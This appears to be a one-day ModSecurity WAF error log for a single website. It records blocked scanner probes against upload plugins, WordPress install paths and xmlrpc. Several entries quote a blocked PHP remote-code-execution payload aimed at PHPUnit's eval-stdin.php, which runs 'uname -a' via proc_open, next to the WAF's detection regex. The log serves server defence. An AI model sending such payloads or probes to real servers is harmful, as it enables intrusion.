[Sat Dec 13 03:14:40.932991 2025] [:error] [pid 61027:tid 61062] [client 159.65.128.251:59625] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aTxpoKzAkXCoEs2QKBlp_gAAAkY"]
[Sat Dec 13 03:14:41.279093 2025] [:error] [pid 26607:tid 26625] [client 159.65.128.251:59651] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/assets/js/ckeditor/kcfinder/upload.php"] [unique_id "aTxpocb_b0tOEWTL2KnruwAAANA"]
[Sat Dec 13 03:14:41.622421 2025] [:error] [pid 61027:tid 61067] [client 159.65.128.251:59672] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "aTxpoazAkXCoEs2QKBlp_wAAAks"]
[Sat Dec 13 03:14:41.971923 2025] [:error] [pid 60649:tid 60658] [client 159.65.128.251:59689] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/global/plugins/jquery-file-upload/"] [unique_id "aTxpoVOcUGKU3sgfHP9DFAAAAQY"]
[Sat Dec 13 03:14:42.349659 2025] [:error] [pid 26521:tid 26584] [client 159.65.128.251:59707] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main/user/assets/jquery-file-upload/"] [unique_id "aTxpopdhcAPU617AKTDvswAAAIU"]
[Sat Dec 13 03:14:42.695033 2025] [:error] [pid 61027:tid 61068] [client 159.65.128.251:59719] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/jquery-file-upload/"] [unique_id "aTxpoqzAkXCoEs2QKBlqAAAAAkw"]
[Sat Dec 13 03:14:43.042319 2025] [:error] [pid 26607:tid 26624] [client 159.65.128.251:59744] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/jquery-file-upload/"] [unique_id "aTxpo8b_b0tOEWTL2KnrvAAAAM8"]
[Sat Dec 13 03:14:43.385850 2025] [:error] [pid 27950:tid 27960] [client 159.65.128.251:59757] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asset/plugins/jquery-file-upload/"] [unique_id "aTxpo4VLRvkrdsSc1F3q_AAAAUg"]
[Sat Dec 13 03:14:43.729222 2025] [:error] [pid 27950:tid 27972] [client 159.65.128.251:59773] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asset/jquery-file-upload/"] [unique_id "aTxpo4VLRvkrdsSc1F3q_QAAAVQ"]
[Sat Dec 13 03:14:44.073763 2025] [:error] [pid 26521:tid 26595] [client 159.65.128.251:59788] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/jquery-file-upload"] [unique_id "aTxppJdhcAPU617AKTDvtQAAAJA"]
[Sat Dec 13 03:14:44.418957 2025] [:error] [pid 61026:tid 61048] [client 159.65.128.251:59800] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/assets/jquery-file-upload/"] [unique_id "aTxppPuRR7v2iVXoj1N5WwAAAhM"]
[Sat Dec 13 03:14:44.764210 2025] [:error] [pid 61026:tid 61052] [client 159.65.128.251:59817] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery-file-upload/"] [unique_id "aTxppPuRR7v2iVXoj1N5XAAAAhc"]
[Sat Dec 13 03:14:45.122898 2025] [:error] [pid 26521:tid 26579] [client 159.65.128.251:59830] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery-file-upload"] [unique_id "aTxppZdhcAPU617AKTDvtwAAAIA"]
[Sat Dec 13 03:14:45.483688 2025] [:error] [pid 26521:tid 26592] [client 159.65.128.251:59848] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/administrator/jquery-file-upload"] [unique_id "aTxppZdhcAPU617AKTDvuAAAAI0"]
[Sat Dec 13 03:14:45.828208 2025] [:error] [pid 26607:tid 26621] [client 159.65.128.251:59867] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/admin/js/jquery-file-upload"] [unique_id "aTxppcb_b0tOEWTL2KnrvwAAAMw"]
[Sat Dec 13 03:14:46.173294 2025] [:error] [pid 60649:tid 60666] [client 159.65.128.251:59889] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/jquery-file-upload"] [unique_id "aTxpplOcUGKU3sgfHP9DFQAAAQ4"]
[Sat Dec 13 03:14:46.519937 2025] [:error] [pid 26607:tid 26633] [client 159.65.128.251:59904] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/tinymce/plugins/jquery-file-upload"] [unique_id "aTxppsb_b0tOEWTL2KnrwQAAANg"]
[Sat Dec 13 03:14:46.869009 2025] [:error] [pid 61027:tid 61065] [client 159.65.128.251:59923] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/jquery-file-upload"] [unique_id "aTxppqzAkXCoEs2QKBlqAQAAAkk"]
[Sat Dec 13 03:14:47.227590 2025] [:error] [pid 26519:tid 26535] [client 159.65.128.251:59944] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/jquery-file-upload"] [unique_id "aTxpp88TRgSGOeWqEhc2MAAAAAw"]
[Sat Dec 13 03:14:47.593449 2025] [:error] [pid 61026:tid 61030] [client 159.65.128.251:59975] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/admin/jquery-file-upload"] [unique_id "aTxpp_uRR7v2iVXoj1N5XQAAAgE"]
[Sat Dec 13 03:14:47.967681 2025] [:error] [pid 61026:tid 61045] [client 159.65.128.251:59990] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/js/jquery-file-upload"] [unique_id "aTxpp_uRR7v2iVXoj1N5XgAAAhA"]
[Sat Dec 13 03:14:48.328258 2025] [:error] [pid 60991:tid 61017] [client 159.65.128.251:60010] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/assets/js/jquery-file-upload"] [unique_id "aTxpqG5Xj6-M-KjdjNjbSQAAAdg"]
[Sat Dec 13 03:14:48.671620 2025] [:error] [pid 60991:tid 60998] [client 159.65.128.251:60030] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTxpqG5Xj6-M-KjdjNjbSgAAAcU"]
[Sat Dec 13 03:14:49.062079 2025] [:error] [pid 61027:tid 61080] [client 159.65.128.251:60050] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aTxpqazAkXCoEs2QKBlqBQAAAlg"]
[Sat Dec 13 03:14:49.415177 2025] [:error] [pid 26519:tid 26529] [client 159.65.128.251:60069] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-admin/install.php"] [unique_id "aTxpqc8TRgSGOeWqEhc2MgAAAAY"]
[Sat Dec 13 03:14:49.772339 2025] [:error] [pid 26521:tid 26602] [client 159.65.128.251:60091] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aTxpqZdhcAPU617AKTDvuQAAAJc"]
[Sat Dec 13 03:14:50.121370 2025] [:error] [pid 26607:tid 26623] [client 159.65.128.251:60113] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-admin/install.php"] [unique_id "aTxpqsb_b0tOEWTL2KnrxAAAAM4"]
[Sat Dec 13 03:14:50.473145 2025] [:error] [pid 60991:tid 61000] [client 159.65.128.251:60131] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new/wp-admin/install.php"] [unique_id "aTxpqm5Xj6-M-KjdjNjbTQAAAcc"]
[Sat Dec 13 03:14:50.818084 2025] [:error] [pid 61026:tid 61053] [client 159.65.128.251:60161] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-admin/install.php"] [unique_id "aTxpqvuRR7v2iVXoj1N5YAAAAhg"]
[Sat Dec 13 03:14:51.168143 2025] [:error] [pid 26519:tid 26544] [client 159.65.128.251:60180] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/old/wp-admin/install.php"] [unique_id "aTxpq88TRgSGOeWqEhc2MwAAABU"]
[Sat Dec 13 03:14:51.520712 2025] [:error] [pid 26521:tid 26585] [client 159.65.128.251:60203] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup/wp-admin/install.php"] [unique_id "aTxpq5dhcAPU617AKTDvugAAAIY"]
[Sat Dec 13 03:34:22.138287 2025] [:error] [pid 61027:tid 61068] [client 38.97.60.82:58284] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aTxuPqzAkXCoEs2QKBlscwAAAkw"], referer: binance.com
[Sat Dec 13 04:03:26.474643 2025] [:error] [pid 26355:tid 26378] [client 38.97.60.82:51543] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aTx1DrC7XsqhFIMjz7lNhQAAABI"], referer: binance.com
[Sat Dec 13 04:09:53.938241 2025] [:error] [pid 26442:tid 26459] [client 38.97.60.82:49743] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aTx2kWBpj19eUg1eFUN1gwAAAMY"], referer: binance.com
[Sat Dec 13 04:37:52.890234 2025] [:error] [pid 43747:tid 43774] [client 38.97.60.82:61719] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aTx9IJYw3twBd_JQEHiSMwAAABc"], referer: binance.com
[Sat Dec 13 05:36:28.721420 2025] [:error] [pid 43747:tid 43751] [client 182.42.111.213:51432] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTyK3JYw3twBd_JQEHigagAAAAA"]
[Sat Dec 13 06:20:55.376179 2025] [:error] [pid 43747:tid 43771] [client 159.65.128.251:59201] [client 159.65.128.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aTyVR5Yw3twBd_JQEHip4AAAABQ"]
[Sat Dec 13 06:20:57.459856 2025] [:error] [pid 43747:tid 43766] [client 159.65.128.251:59261] [client 159.65.128.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aTyVSZYw3twBd_JQEHip5wAAAA8"]
[Sat Dec 13 06:21:01.667905 2025] [:error] [pid 43836:tid 43843] [client 159.65.128.251:59371] [client 159.65.128.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aTyVTWAEOBirsxb11naNrwAAAMU"]
[Sat Dec 13 06:21:07.697920 2025] [:error] [pid 43748:tid 43795] [client 159.65.128.251:59537] [client 159.65.128.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aTyVU6rTT0VzE3gYjcA8nQAAAFA"]
[Sat Dec 13 06:21:24.464687 2025] [:error] [pid 43748:tid 43798] [client 159.65.128.251:59983] [client 159.65.128.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aTyVZKrTT0VzE3gYjcA8rAAAAFM"]
[Sat Dec 13 06:21:30.258251 2025] [:error] [pid 43836:tid 43860] [client 159.65.128.251:60152] [client 159.65.128.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aTyVamAEOBirsxb11naN5wAAANY"]
[Sat Dec 13 09:48:43.758416 2025] [:error] [pid 43836:tid 43854] [client 106.215.173.30:16840] [client 106.215.173.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.173.30, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTzF-2AEOBirsxb11na38gAAANA"]
[Sat Dec 13 11:32:40.668009 2025] [:error] [pid 43836:tid 43849] [client 182.44.9.147:53377] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzeWGAEOBirsxb11nbG5AAAAMs"]
[Sat Dec 13 13:00:34.212732 2025] [:error] [pid 55037:tid 55050] [client 45.154.98.18:50232] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy8hyx7iFaaIMvMOFSlgAAAUs"]
[Sat Dec 13 13:00:35.402971 2025] [:error] [pid 8181:tid 8213] [client 45.154.98.18:50665] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy84csztoZQ9y1QdUPpQAAAhc"]
